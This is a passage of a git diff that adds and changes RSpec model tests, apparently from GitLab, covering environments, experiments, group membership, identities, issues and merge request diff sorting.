+ subject { environment.upcoming_deployment }
+
+ context 'when environment has a successful deployment' do
+ let!(:deployment) { create(:deployment, :success, environment: environment, project: project) }
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'when environment has a running deployment' do
+ let!(:deployment) { create(:deployment, :running, environment: environment, project: project) }
+
+ it { is_expected.to eq(deployment) }
+ end
+ end
+
describe '#has_terminals?' do
subject { environment.has_terminals? }
@@ -860,16 +877,6 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
expect(described_class.reactive_cache_hard_limit).to eq(10.megabyte)
end
- it 'overrides reactive_cache_limit_enabled? with a FF' do
- environment_with_enabled_ff = build(:environment, project: create(:project))
- environment_with_disabled_ff = build(:environment, project: create(:project))
-
- stub_feature_flags(reactive_caching_limit_environment: environment_with_enabled_ff.project)
-
- expect(environment_with_enabled_ff.send(:reactive_cache_limit_enabled?)).to be_truthy
- expect(environment_with_disabled_ff.send(:reactive_cache_limit_enabled?)).to be_falsey
- end
-
it 'returns cache data from the deployment platform' do
expect(environment.deployment_platform).to receive(:calculate_reactive_cache_for)
.with(environment).and_return(pods: %w(pod1 pod2))
@@ -1394,4 +1401,150 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
it { is_expected.to be(false) }
end
end
+
+ describe '#cancel_deployment_jobs!' do
+ subject { environment.cancel_deployment_jobs! }
+
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:environment, reload: true) { create(:environment, project: project) }
+ let!(:deployment) { create(:deployment, project: project, environment: environment, deployable: build) }
+ let!(:build) { create(:ci_build, :running, project: project, environment: environment) }
+
+ it 'cancels an active deployment job' do
+ subject
+
+ expect(build.reset).to be_canceled
+ end
+
+ context 'when deployable does not exist' do
+ before do
+ deployment.update_column(:deployable_id, non_existing_record_id)
+ end
+
+ it 'does not raise an error' do
+ expect { subject }.not_to raise_error
+
+ expect(build.reset).to be_running
+ end
+ end
+ end
+
+ describe '#rollout_status' do
+ let!(:cluster) { create(:cluster, :project, :provided_by_user, projects: [project]) }
+ let!(:environment) { create(:environment, project: project) }
+ let!(:deployment) { create(:deployment, :success, environment: environment, project: project) }
+
+ subject { environment.rollout_status }
+
+ context 'environment does not have a deployment board available' do
+ before do
+ allow(environment).to receive(:has_terminals?).and_return(false)
+ end
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'cached rollout status is present' do
+ let(:pods) { %w(pod1 pod2) }
+ let(:deployments) { %w(deployment1 deployment2) }
+
+ before do
+ stub_reactive_cache(environment, pods: pods, deployments: deployments)
+ end
+
+ it 'fetches the rollout status from the deployment platform' do
+ expect(environment.deployment_platform).to receive(:rollout_status)
+ .with(environment, pods: pods, deployments: deployments)
+ .and_return(:mock_rollout_status)
+
+ is_expected.to eq(:mock_rollout_status)
+ end
+ end
+
+ context 'cached rollout status is not present yet' do
+ before do
+ stub_reactive_cache(environment, nil)
+ end
+
+ it 'falls back to a loading status' do
+ expect(::Gitlab::Kubernetes::RolloutStatus).to receive(:loading).and_return(:mock_loading_status)
+
+ is_expected.to eq(:mock_loading_status)
+ end
+ end
+ end
+
+ describe '#ingresses' do
+ subject { environment.ingresses }
+
+ let(:deployment_platform) { double(:deployment_platform) }
+ let(:deployment_namespace) { 'production' }
+
+ before do
+ allow(environment).to receive(:deployment_platform) { deployment_platform }
+ allow(environment).to receive(:deployment_namespace) { deployment_namespace }
+ end
+
+ context 'when rollout status is available' do
+ before do
+ allow(environment).to receive(:rollout_status_available?) { true }
+ end
+
+ it 'fetches ingresses from the deployment platform' do
+ expect(deployment_platform).to receive(:ingresses).with(deployment_namespace)
+
+ subject
+ end
+ end
+
+ context 'when rollout status is not available' do
+ before do
+ allow(environment).to receive(:rollout_status_available?) { false }
+ end
+
+ it 'does nothing' do
+ expect(deployment_platform).not_to receive(:ingresses)
+
+ subject
+ end
+ end
+ end
+
+ describe '#patch_ingress' do
+ subject { environment.patch_ingress(ingress, data) }
+
+ let(:ingress) { double(:ingress) }
+ let(:data) { double(:data) }
+ let(:deployment_platform) { double(:deployment_platform) }
+ let(:deployment_namespace) { 'production' }
+
+ before do
+ allow(environment).to receive(:deployment_platform) { deployment_platform }
+ allow(environment).to receive(:deployment_namespace) { deployment_namespace }
+ end
+
+ context 'when rollout status is available' do
+ before do
+ allow(environment).to receive(:rollout_status_available?) { true }
+ end
+
+ it 'fetches ingresses from the deployment platform' do
+ expect(deployment_platform).to receive(:patch_ingress).with(deployment_namespace, ingress, data)
+
+ subject
+ end
+ end
+
+ context 'when rollout status is not available' do
+ before do
+ allow(environment).to receive(:rollout_status_available?) { false }
+ end
+
+ it 'does nothing' do
+ expect(deployment_platform).not_to receive(:patch_ingress)
+
+ subject
+ end
+ end
+ end
end
diff --git a/spec/models/experiment_spec.rb b/spec/models/experiment_spec.rb
index 587f410c9be..1bf7b8b4850 100644
--- a/spec/models/experiment_spec.rb
+++ b/spec/models/experiment_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Experiment do
describe 'associations' do
it { is_expected.to have_many(:experiment_users) }
+ it { is_expected.to have_many(:experiment_subjects) }
end
describe 'validations' do
@@ -19,20 +20,21 @@ RSpec.describe Experiment do
let_it_be(:experiment_name) { :experiment_key }
let_it_be(:user) { 'a user' }
let_it_be(:group) { 'a group' }
+ let_it_be(:context) { { a: 42 } }
- subject(:add_user) { described_class.add_user(experiment_name, group, user) }
+ subject(:add_user) { described_class.add_user(experiment_name, group, user, context) }
context 'when an experiment with the provided name does not exist' do
it 'creates a new experiment record' do
allow_next_instance_of(described_class) do |experiment|
- allow(experiment).to receive(:record_user_and_group).with(user, group)
+ allow(experiment).to receive(:record_user_and_group).with(user, group, context)
end
expect { add_user }.to change(described_class, :count).by(1)
end
- it 'forwards the user and group_type to the instance' do
+ it 'forwards the user, group_type, and context to the instance' do
expect_next_instance_of(described_class) do |experiment|
- expect(experiment).to receive(:record_user_and_group).with(user, group)
+ expect(experiment).to receive(:record_user_and_group).with(user, group, context)
end
add_user
end
@@ -43,18 +45,95 @@ RSpec.describe Experiment do
it 'does not create a new experiment record' do
allow_next_found_instance_of(described_class) do |experiment|
- allow(experiment).to receive(:record_user_and_group).with(user, group)
+ allow(experiment).to receive(:record_user_and_group).with(user, group, context)
end
expect { add_user }.not_to change(described_class, :count)
end
- it 'forwards the user and group_type to the instance' do
+ it 'forwards the user, group_type, and context to the instance' do
expect_next_found_instance_of(described_class) do |experiment|
- expect(experiment).to receive(:record_user_and_group).with(user, group)
+ expect(experiment).to receive(:record_user_and_group).with(user, group, context)
end
add_user
end
end
+
+ it 'works without the optional context argument' do
+ allow_next_instance_of(described_class) do |experiment|
+ expect(experiment).to receive(:record_user_and_group).with(user, group, {})
+ end
+
+ expect { described_class.add_user(experiment_name, group, user) }.not_to raise_error
+ end
+ end
+
+ describe '.record_conversion_event' do
+ let_it_be(:user) { build(:user) }
+
+ let(:experiment_key) { :test_experiment }
+
+ subject(:record_conversion_event) { described_class.record_conversion_event(experiment_key, user) }
+
+ context 'when no matching experiment exists' do
+ it 'creates the experiment and uses it' do
+ expect_next_instance_of(described_class) do |experiment|
+ expect(experiment).to receive(:record_conversion_event_for_user)
+ end
+ expect { record_conversion_event }.to change { described_class.count }.by(1)
+ end
+
+ context 'but we are unable to successfully create one' do
+ let(:experiment_key) { nil }
+
+ it 'raises a RecordInvalid error' do
+ expect { record_conversion_event }.to raise_error(ActiveRecord::RecordInvalid)
+ end
+ end
+ end
+
+ context 'when a matching experiment already exists' do
+ before do
+ create(:experiment, name: experiment_key)
+ end
+
+ it 'sends record_conversion_event_for_user to the experiment instance' do
+ expect_next_found_instance_of(described_class) do |experiment|
+ expect(experiment).to receive(:record_conversion_event_for_user).with(user)
+ end
+ record_conversion_event
+ end
+ end
+ end
+
+ describe '#record_conversion_event_for_user' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:experiment) { create(:experiment) }
+
+ subject(:record_conversion_event_for_user) { experiment.record_conversion_event_for_user(user) }
+
+ context 'when no existing experiment_user record exists for the given user' do
+ it 'does not update or create an experiment_user record' do
+ expect { record_conversion_event_for_user }.not_to change { ExperimentUser.all.to_a }
+ end
+ end
+
+ context 'when an existing experiment_user exists for the given user' do
+ context 'but it has already been converted' do
+ let!(:experiment_user) { create(:experiment_user, experiment: experiment, user: user, converted_at: 2.days.ago) }
+
+ it 'does not update the converted_at value' do
+ expect { record_conversion_event_for_user }.not_to change { experiment_user.converted_at }
+ end
+ end
+
+ context 'and it has not yet been converted' do
+ let(:experiment_user) { create(:experiment_user, experiment: experiment, user: user) }
+
+ it 'updates the converted_at value' do
+ expect { record_conversion_event_for_user }.to change { experiment_user.reload.converted_at }
+ end
+ end
+ end
end
describe '#record_user_and_group' do
@@ -62,8 +141,9 @@ RSpec.describe Experiment do
let_it_be(:user) { create(:user) }
let(:group) { :control }
+ let(:context) { { a: 42 } }
- subject(:record_user_and_group) { experiment.record_user_and_group(user, group) }
+ subject(:record_user_and_group) { experiment.record_user_and_group(user, group, context) }
context 'when an experiment_user does not yet exist for the given user' do
it 'creates a new experiment_user record' do
@@ -74,24 +154,35 @@ RSpec.describe Experiment do
record_user_and_group
expect(ExperimentUser.last.group_type).to eq('control')
end
+
+ it 'adds the correct context to the experiment_user' do
+ record_user_and_group
+ expect(ExperimentUser.last.context).to eq({ 'a' => 42 })
+ end
end
context 'when an experiment_user already exists for the given user' do
before do
# Create an existing experiment_user for this experiment and the :control group
- experiment.record_user_and_group(user, :control)
+ experiment.record_user_and_group(user, :control, context)
end
it 'does not create a new experiment_user record' do
expect { record_user_and_group }.not_to change(ExperimentUser, :count)
end
- context 'but the group_type has changed' do
+ context 'but the group_type and context has changed' do
let(:group) { :experimental }
+ let(:context) { { b: 37 } }
- it 'updates the existing experiment_user record' do
+ it 'updates the existing experiment_user record with group_type' do
expect { record_user_and_group }.to change { ExperimentUser.last.group_type }
end
+
+ it 'updates the existing experiment_user record with context' do
+ record_user_and_group
+ expect(ExperimentUser.last.context).to eq({ 'b' => 37 })
+ end
end
end
end
diff --git a/spec/models/experiment_subject_spec.rb b/spec/models/experiment_subject_spec.rb
new file mode 100644
index 00000000000..4850814c5f5
--- /dev/null
+++ b/spec/models/experiment_subject_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ExperimentSubject, type: :model do
+ describe 'associations' do
+ it { is_expected.to belong_to(:experiment) }
+ it { is_expected.to belong_to(:user) }
+ it { is_expected.to belong_to(:group) }
+ it { is_expected.to belong_to(:project) }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:experiment) }
+
+ describe 'must_have_one_subject_present' do
+ let(:experiment_subject) { build(:experiment_subject, user: nil, group: nil, project: nil) }
+ let(:error_message) { 'Must have exactly one of User, Group, or Project.' }
+
+ it 'fails when no subject is present' do
+ expect(experiment_subject).not_to be_valid
+ expect(experiment_subject.errors[:base]).to include(error_message)
+ end
+
+ it 'passes when user subject is present' do
+ experiment_subject.user = build(:user)
+ expect(experiment_subject).to be_valid
+ end
+
+ it 'passes when group subject is present' do
+ experiment_subject.group = build(:group)
+ expect(experiment_subject).to be_valid
+ end
+
+ it 'passes when project subject is present' do
+ experiment_subject.project = build(:project)
+ expect(experiment_subject).to be_valid
+ end
+
+ it 'fails when more than one subject is present', :aggregate_failures do
+ # two subjects
+ experiment_subject.user = build(:user)
+ experiment_subject.group = build(:group)
+ expect(experiment_subject).not_to be_valid
+ expect(experiment_subject.errors[:base]).to include(error_message)
+
+ # three subjects
+ experiment_subject.project = build(:project)
+ expect(experiment_subject).not_to be_valid
+ expect(experiment_subject.errors[:base]).to include(error_message)
+ end
+ end
+ end
+end
diff --git a/spec/models/exported_protected_branch_spec.rb b/spec/models/exported_protected_branch_spec.rb
new file mode 100644
index 00000000000..7886a522741
--- /dev/null
+++ b/spec/models/exported_protected_branch_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ExportedProtectedBranch do
+ describe 'Associations' do
+ it { is_expected.to have_many(:push_access_levels) }
+ end
+
+ describe '.push_access_levels' do
+ it 'returns the correct push access levels' do
+ exported_branch = create(:exported_protected_branch, :developers_can_push)
+ deploy_key = create(:deploy_key)
+ create(:deploy_keys_project, :write_access, project: exported_branch.project, deploy_key: deploy_key )
+ create(:protected_branch_push_access_level, protected_branch: exported_branch, deploy_key: deploy_key)
+ dev_push_access_level = exported_branch.push_access_levels.first
+
+ expect(exported_branch.push_access_levels).to contain_exactly(dev_push_access_level)
+ end
+ end
+end
diff --git a/spec/models/group_import_state_spec.rb b/spec/models/group_import_state_spec.rb
index 469b5c96ac9..52ea20aeac8 100644
--- a/spec/models/group_import_state_spec.rb
+++ b/spec/models/group_import_state_spec.rb
@@ -70,4 +70,24 @@ RSpec.describe GroupImportState do
end
end
end
+
+ context 'when import failed' do
+ context 'when error message is present' do
+ it 'truncates error message' do
+ group_import_state = build(:group_import_state, :started)
+ group_import_state.fail_op('e' * 300)
+
+ expect(group_import_state.last_error.length).to eq(255)
+ end
+ end
+
+ context 'when error message is missing' do
+ it 'has no error message' do
+ group_import_state = build(:group_import_state, :started)
+ group_import_state.fail_op
+
+ expect(group_import_state.last_error).to be_nil
+ end
+ end
+ end
end
diff --git a/spec/models/group_spec.rb b/spec/models/group_spec.rb
index dd1faf999b3..cc8e744a15c 100644
--- a/spec/models/group_spec.rb
+++ b/spec/models/group_spec.rb
@@ -30,6 +30,7 @@ RSpec.describe Group do
it { is_expected.to have_many(:services) }
it { is_expected.to have_one(:dependency_proxy_setting) }
it { is_expected.to have_many(:dependency_proxy_blobs) }
+ it { is_expected.to have_many(:dependency_proxy_manifests) }
describe '#members & #requesters' do
let(:requester) { create(:user) }
@@ -798,20 +799,36 @@ RSpec.describe Group do
end
end
- describe '#direct_and_indirect_members' do
+ context 'members-related methods' do
let!(:group) { create(:group, :nested) }
let!(:sub_group) { create(:group, parent: group) }
let!(:maintainer) { group.parent.add_user(create(:user), GroupMember::MAINTAINER) }
let!(:developer) { group.add_user(create(:user), GroupMember::DEVELOPER) }
let!(:other_developer) { group.add_user(create(:user), GroupMember::DEVELOPER) }
- it 'returns parents members' do
- expect(group.direct_and_indirect_members).to include(developer)
- expect(group.direct_and_indirect_members).to include(maintainer)
+ describe '#direct_and_indirect_members' do
+ it 'returns parents members' do
+ expect(group.direct_and_indirect_members).to include(developer)
+ expect(group.direct_and_indirect_members).to include(maintainer)
+ end
+
+ it 'returns descendant members' do
+ expect(group.direct_and_indirect_members).to include(other_developer)
+ end
end
- it 'returns descendant members' do
- expect(group.direct_and_indirect_members).to include(other_developer)
+ describe '#direct_and_indirect_members_with_inactive' do
+ let!(:maintainer_blocked) { group.parent.add_user(create(:user, :blocked), GroupMember::MAINTAINER) }
+
+ it 'returns parents members' do
+ expect(group.direct_and_indirect_members_with_inactive).to include(developer)
+ expect(group.direct_and_indirect_members_with_inactive).to include(maintainer)
+ expect(group.direct_and_indirect_members_with_inactive).to include(maintainer_blocked)
+ end
+
+ it 'returns descendant members' do
+ expect(group.direct_and_indirect_members_with_inactive).to include(other_developer)
+ end
end
end
@@ -834,7 +851,7 @@ RSpec.describe Group do
end
end
- describe '#direct_and_indirect_users' do
+ context 'user-related methods' do
let(:user_a) { create(:user) }
let(:user_b) { create(:user) }
let(:user_c) { create(:user) }
@@ -853,14 +870,40 @@ RSpec.describe Group do
project.add_developer(user_d)
end
- it 'returns member users on every nest level without duplication' do
- expect(group.direct_and_indirect_users).to contain_exactly(user_a, user_b, user_c, user_d)
- expect(nested_group.direct_and_indirect_users).to contain_exactly(user_a, user_b, user_c)
- expect(deep_nested_group.direct_and_indirect_users).to contain_exactly(user_a, user_b, user_c)
+ describe '#direct_and_indirect_users' do
+ it 'returns member users on every nest level without duplication' do
+ expect(group.direct_and_indirect_users).to contain_exactly(user_a, user_b, user_c, user_d)
+ expect(nested_group.direct_and_indirect_users).to contain_exactly(user_a, user_b, user_c)
+ expect(deep_nested_group.direct_and_indirect_users).to contain_exactly(user_a, user_b, user_c)
+ end
+
+ it 'does not return members of projects belonging to ancestor groups' do
+ expect(nested_group.direct_and_indirect_users).not_to include(user_d)
+ end
end
- it 'does not return members of projects belonging to ancestor groups' do
- expect(nested_group.direct_and_indirect_users).not_to include(user_d)
+ describe '#direct_and_indirect_users_with_inactive' do
+ let(:user_blocked_1) { create(:user, :blocked) }
+ let(:user_blocked_2) { create(:user, :blocked) }
+ let(:user_blocked_3) { create(:user, :blocked) }
+ let(:project_in_group) { create(:project, namespace: nested_group) }
+
+ before do
+ group.add_developer(user_blocked_1)
+ nested_group.add_developer(user_blocked_1)
+ deep_nested_group.add_developer(user_blocked_2)
+ project_in_group.add_developer(user_blocked_3)
+ end
+
+ it 'returns member users on every nest level without duplication' do
+ expect(group.direct_and_indirect_users_with_inactive).to contain_exactly(user_a, user_b, user_c, user_d, user_blocked_1, user_blocked_2, user_blocked_3)
+ expect(nested_group.direct_and_indirect_users_with_inactive).to contain_exactly(user_a, user_b, user_c, user_blocked_1, user_blocked_2, user_blocked_3)
+ expect(deep_nested_group.direct_and_indirect_users_with_inactive).to contain_exactly(user_a, user_b, user_c, user_blocked_1, user_blocked_2)
+ end
+
+ it 'returns members of projects belonging to group' do
+ expect(nested_group.direct_and_indirect_users_with_inactive).to include(user_blocked_3)
+ end
end
end
diff --git a/spec/models/identity_spec.rb b/spec/models/identity_spec.rb
index 696d33b7beb..c0efb2dff56 100644
--- a/spec/models/identity_spec.rb
+++ b/spec/models/identity_spec.rb
@@ -81,6 +81,36 @@ RSpec.describe Identity do
end
end
+ describe '.with_any_extern_uid' do
+ context 'provider with extern uid' do
+ let!(:test_entity) { create(:identity, provider: 'test_provider', extern_uid: 'test_uid') }
+
+ it 'finds any extern uids associated with a provider' do
+ identity = described_class.with_any_extern_uid('test_provider').first
+
+ expect(identity).to be
+ end
+ end
+
+ context 'provider with nil extern uid' do
+ let!(:nil_entity) { create(:identity, provider: 'nil_entity_provider', extern_uid: nil) }
+
+ it 'has no results when there are no extern uids' do
+ identity = described_class.with_any_extern_uid('nil_entity_provider').first
+
+ expect(identity).to be_nil
+ end
+ end
+
+ context 'no provider' do
+ it 'has no results when there is no associated provider' do
+ identity = described_class.with_any_extern_uid('nonexistent_provider').first
+
+ expect(identity).to be_nil
+ end
+ end
+ end
+
context 'callbacks' do
context 'before_save' do
describe 'normalizes extern uid' do
diff --git a/spec/models/instance_configuration_spec.rb b/spec/models/instance_configuration_spec.rb
index 383e548c324..d3566ed04c2 100644
--- a/spec/models/instance_configuration_spec.rb
+++ b/spec/models/instance_configuration_spec.rb
@@ -10,31 +10,35 @@ RSpec.describe InstanceConfiguration do
let(:sha256) { 'SHA256:2KJDT7xf2i68mBgJ3TVsjISntg4droLbXYLfQj0VvSY' }
it 'does not return anything if file does not exist' do
- stub_pub_file(exist: false)
+ stub_pub_file(pub_file(exist: false))
expect(subject.settings[:ssh_algorithms_hashes]).to be_empty
end
it 'does not return anything if file is empty' do
- stub_pub_file
+ stub_pub_file(pub_file)
- allow(File).to receive(:read).and_return('')
+ stub_file_read(pub_file, content: '')
expect(subject.settings[:ssh_algorithms_hashes]).to be_empty
end
it 'returns the md5 and sha256 if file valid and exists' do
- stub_pub_file
+ stub_pub_file(pub_file)
result = subject.settings[:ssh_algorithms_hashes].select { |o| o[:md5] == md5 && o[:sha256] == sha256 }
expect(result.size).to eq(InstanceConfiguration::SSH_ALGORITHMS.size)
end
- def stub_pub_file(exist: true)
+ def pub_file(exist: true)
path = exist ? 'spec/fixtures/ssh_host_example_key.pub' : 'spec/fixtures/ssh_host_example_key.pub.random'
- allow(subject).to receive(:ssh_algorithm_file).and_return(Rails.root.join(path))
+ Rails.root.join(path)
+ end
+
+ def stub_pub_file(path)
+ allow(subject).to receive(:ssh_algorithm_file).and_return(path)
end
end
diff --git a/spec/models/issue_spec.rb b/spec/models/issue_spec.rb
index 16ea2989eda..81f045b4db1 100644
--- a/spec/models/issue_spec.rb
+++ b/spec/models/issue_spec.rb
@@ -141,7 +141,6 @@ RSpec.describe Issue do
describe '.with_issue_type' do
let_it_be(:issue) { create(:issue, project: reusable_project) }
let_it_be(:incident) { create(:incident, project: reusable_project) }
- let_it_be(:test_case) { create(:quality_test_case, project: reusable_project) }
it 'gives issues with the given issue type' do
expect(described_class.with_issue_type('issue'))
@@ -149,8 +148,8 @@ RSpec.describe Issue do
end
it 'gives issues with the given issue type' do
- expect(described_class.with_issue_type(%w(issue incident test_case)))
- .to contain_exactly(issue, incident, test_case)
+ expect(described_class.with_issue_type(%w(issue incident)))
+ .to contain_exactly(issue, incident)
end
end
@@ -370,6 +369,20 @@ RSpec.describe Issue do
expect(link_types).not_to include(nil)
end
+ it 'returns issues including the link creation time' do
+ dates = authorized_issue_a.related_issues(user).map(&:issue_link_created_at)
+
+ expect(dates).not_to be_empty
+ expect(dates).not_to include(nil)
+ end
+
+ it 'returns issues including the link update time' do
+ dates = authorized_issue_a.related_issues(user).map(&:issue_link_updated_at)
+
+ expect(dates).not_to be_empty
+ expect(dates).not_to include(nil)
+ end
+
describe 'when a user cannot read cross project' do
it 'only returns issues within the same project' do
expect(Ability).to receive(:allowed?).with(user, :read_all_resources, :global).at_least(:once).and_call_original
diff --git a/spec/models/label_priority_spec.rb b/spec/models/label_priority_spec.rb
index db961d5a4e6..adeccd999f3 100644
--- a/spec/models/label_priority_spec.rb
+++ b/spec/models/label_priority_spec.rb
@@ -18,5 +18,11 @@ RSpec.describe LabelPriority do
expect(subject).to validate_uniqueness_of(:label_id).scoped_to(:project_id)
end
+
+ describe 'when importing' do
+ subject { create(:label_priority, importing: true) }
+
+ it { is_expected.not_to validate_presence_of(:label) }
+ end
end
end
diff --git a/spec/models/merge_request_diff_spec.rb b/spec/models/merge_request_diff_spec.rb
index 6706083fd91..a5493d1650b 100644
--- a/spec/models/merge_request_diff_spec.rb
+++ b/spec/models/merge_request_diff_spec.rb
@@ -9,6 +9,10 @@ RSpec.describe MergeRequestDiff do
let(:diff_with_commits) { create(:merge_request).merge_request_diff }
+ before do
+ stub_feature_flags(diffs_gradual_load: false)
+ end
+
describe 'validations' do
subject { diff_with_commits }
@@ -415,7 +419,7 @@ RSpec.describe MergeRequestDiff do
context 'when persisted files available' do
it 'returns paginated diffs' do
- diffs = diff_with_commits.diffs_in_batch(1, 10, diff_options: {})
+ diffs = diff_with_commits.diffs_in_batch(1, 10, diff_options: diff_options)
expect(diffs).to be_a(Gitlab::Diff::FileCollection::MergeRequestDiffBatch)
expect(diffs.diff_files.size).to eq(10)
@@ -423,6 +427,150 @@ RSpec.describe MergeRequestDiff do
next_page: 2,
total_pages: 2)
end
+
+ it 'sorts diff files directory first' do
+ diff_with_commits.update!(sorted: false) # Mark as unsorted so it'll re-order
+
+ expect(diff_with_commits.diffs_in_batch(1, 10, diff_options: diff_options).diff_file_paths).to eq([
+ 'bar/branch-test.txt',
+ 'custom-highlighting/test.gitlab-custom',
+ 'encoding/iso8859.txt',
+ 'files/images/wm.svg',
+ 'files/js/commit.coffee',
+ 'files/lfs/lfs_object.iso',
+ 'files/ruby/popen.rb',
+ 'files/ruby/regex.rb',
+ 'files/.DS_Store',
+ 'files/whitespace'
+ ])
+ end
+
+ context 'when sort_diffs feature flag is disabled' do
+ before do
+ stub_feature_flags(sort_diffs: false)
+ end
+
+ it 'does not sort diff files directory first' do
+ expect(diff_with_commits.diffs_in_batch(1, 10, diff_options: diff_options).diff_file_paths).to eq([
+ '.DS_Store',
+ '.gitattributes',
+ '.gitignore',
+ '.gitmodules',
+ 'CHANGELOG',
+ 'README',
+ 'bar/branch-test.txt',
+ 'custom-highlighting/test.gitlab-custom',
+ 'encoding/iso8859.txt',
+ 'files/.DS_Store'
+ ])
+ end
+ end
+ end
+ end
+
+ describe '#diffs' do
+ let(:diff_options) { {} }
+
+ shared_examples_for 'fetching full diffs' do
+ it 'returns diffs from repository comparison' do
+ expect_next_instance_of(Compare) do |comparison|
+ expect(comparison).to receive(:diffs)
+ .with(diff_options)
+ .and_call_original
+ end
+
+ diff_with_commits.diffs(diff_options)
+ end
+
+ it 'returns a Gitlab::Diff::FileCollection::Compare with full diffs' do
+ diffs = diff_with_commits.diffs(diff_options)
+
+ expect(diffs).to be_a(Gitlab::Diff::FileCollection::Compare)
+ expect(diffs.diff_files.size).to eq(20)
+ end
+ end
+
+ context 'when no persisted files available' do
+ before do
+ diff_with_commits.clean!
+ end
+
+ it_behaves_like 'fetching full diffs'
+ end
+
+ context 'when diff_options include ignore_whitespace_change' do
+ it_behaves_like 'fetching full diffs' do
+ let(:diff_options) do
+ { ignore_whitespace_change: true }
+ end
+ end
+ end
+
+ context 'when persisted files available' do
+ it 'returns diffs' do
+ diffs = diff_with_commits.diffs(diff_options)
+
+ expect(diffs).to be_a(Gitlab::Diff::FileCollection::MergeRequestDiff)
+ expect(diffs.diff_files.size).to eq(20)
+ end
+
+ it 'sorts diff files directory first' do
+ diff_with_commits.update!(sorted: false) # Mark as unsorted so it'll re-order
+
+ expect(diff_with_commits.diffs(diff_options).diff_file_paths).to eq([
+ 'bar/branch-test.txt',
+ 'custom-highlighting/test.gitlab-custom',
+ 'encoding/iso8859.txt',
+ 'files/images/wm.svg',
+ 'files/js/commit.coffee',
+ 'files/lfs/lfs_object.iso',
+ 'files/ruby/popen.rb',
+ 'files/ruby/regex.rb',
+ 'files/.DS_Store',
+ 'files/whitespace',
+ 'foo/bar/.gitkeep',
+ 'with space/README.md',
+ '.DS_Store',
+ '.gitattributes',
+ '.gitignore',
+ '.gitmodules',
+ 'CHANGELOG',
+ 'README',
+ 'gitlab-grack',
+ 'gitlab-shell'
+ ])
+ end
+
+ context 'when sort_diffs feature flag is disabled' do
+ before do
+ stub_feature_flags(sort_diffs: false)
+ end
+
+ it 'does not sort diff files directory first' do
+ expect(diff_with_commits.diffs(diff_options).diff_file_paths).to eq([
+ '.DS_Store',
+ '.gitattributes',
+ '.gitignore',
+ '.gitmodules',
+ 'CHANGELOG',
+ 'README',
+ 'bar/branch-test.txt',
+ 'custom-highlighting/test.gitlab-custom',
+ 'encoding/iso8859.txt',
+ 'files/.DS_Store',
+ 'files/images/wm.svg',
+ 'files/js/commit.coffee',
+ 'files/lfs/lfs_object.iso',
+ 'files/ruby/popen.rb',
+ 'files/ruby/regex.rb',
+ 'files/whitespace',
+ 'foo/bar/.gitkeep',
+ 'gitlab-grack',
+ 'gitlab-shell',
+ 'with space/README.md'
+ ])
+ end
+ end
end
end
@@ -501,6 +649,68 @@ RSpec.describe MergeRequestDiff do
expect(mr_diff.empty?).to be_truthy
end
+ it 'persists diff files sorted directory first' do
+ mr_diff = create(:merge_request).merge_request_diff
+ diff_files_paths = mr_diff.merge_request_diff_files.map { |file| file.new_path.presence || file.old_path }
+
+ expect(diff_files_paths).to eq([
+ 'bar/branch-test.txt',
+ 'custom-highlighting/test.gitlab-custom',
+ 'encoding/iso8859.txt',
+ 'files/images/wm.svg',
+ 'files/js/commit.coffee',
+ 'files/lfs/lfs_object.iso',
+ 'files/ruby/popen.rb',
+ 'files/ruby/regex.rb',
+ 'files/.DS_Store',
+ 'files/whitespace',
+ 'foo/bar/.gitkeep',
+ 'with space/README.md',
+ '.DS_Store',
+ '.gitattributes',
+ '.gitignore',
+ '.gitmodules',
+ 'CHANGELOG',
+ 'README',
+ 'gitlab-grack',
+ 'gitlab-shell'
+ ])
+ end
+
+ context 'when sort_diffs feature flag is disabled' do
+ before do
+ stub_feature_flags(sort_diffs: false)
+ end
+
+ it 'persists diff files unsorted by directory first' do
+ mr_diff = create(:merge_request).merge_request_diff
+ diff_files_paths = mr_diff.merge_request_diff_files.map { |file| file.new_path.presence || file.old_path }
+
+ expect(diff_files_paths).to eq([
+ '.DS_Store',
+ '.gitattributes',
+ '.gitignore',
+ '.gitmodules',
+ 'CHANGELOG',
+ 'README',
+ 'bar/branch-test.txt',
+ 'custom-highlighting/test.gitlab-custom',
+ 'encoding/iso8859.txt',
+ 'files/.DS_Store',
+ 'files/images/wm.svg',
+ 'files/js/commit.coffee',
+ 'files/lfs/lfs_object.iso',
+ 'files/ruby/popen.rb',
+ 'files/ruby/regex.rb',
+ 'files/whitespace',
+ 'foo/bar/.gitkeep',
+ 'gitlab-grack',
+ 'gitlab-shell',
+ 'with space/README.md'
+ ])
+ end
+ end
+
it 'expands collapsed diffs before saving' do
mr_diff = create(:merge_request, source_branch: 'expand-collapse-lines', target_branch: 'master').merge_request_diff
diff_file = mr_diff.merge_request_diff_files.find_by(new_path: 'expand-collapse/file-5.txt')
diff --git a/spec/models/merge_request_reviewer_spec.rb b/spec/models/merge_request_reviewer_spec.rb
index 55199cd96ad..76b44abca54 100644
--- a/spec/models/merge_request_reviewer_spec.rb
+++ b/spec/models/merge_request_reviewer_spec.rb
@@ -9,6 +9,6 @@ RSpec.describe MergeRequestReviewer do
describe 'associations' do
it { is_expected.to belong_to(:merge_request).class_name('MergeRequest') }
- it { is_expected.to belong_to(:reviewer).class_name('User') }
+ it { is_expected.to belong_to(:reviewer).class_name('User').inverse_of(:merge_request_reviewers) }
end
end
diff --git a/spec/models/merge_request_spec.rb b/spec/models/merge_request_spec.rb
index 9574c57e46c..431a60a11a5 100644
--- a/spec/models/merge_request_spec.rb
+++ b/spec/models/merge_request_spec.rb
@@ -92,6 +92,39 @@ RSpec.describe MergeRequest, factory_default: :keep do
it { is_expected.not_to include(mr_without_jira_reference) }
end
+ context 'scopes' do
+ let_it_be(:user1) { create(:user) }
+ let_it_be(:user2) { create(:user) }
+
+ let_it_be(:merge_request1) { create(:merge_request, :unique_branches, reviewers: [user1])}
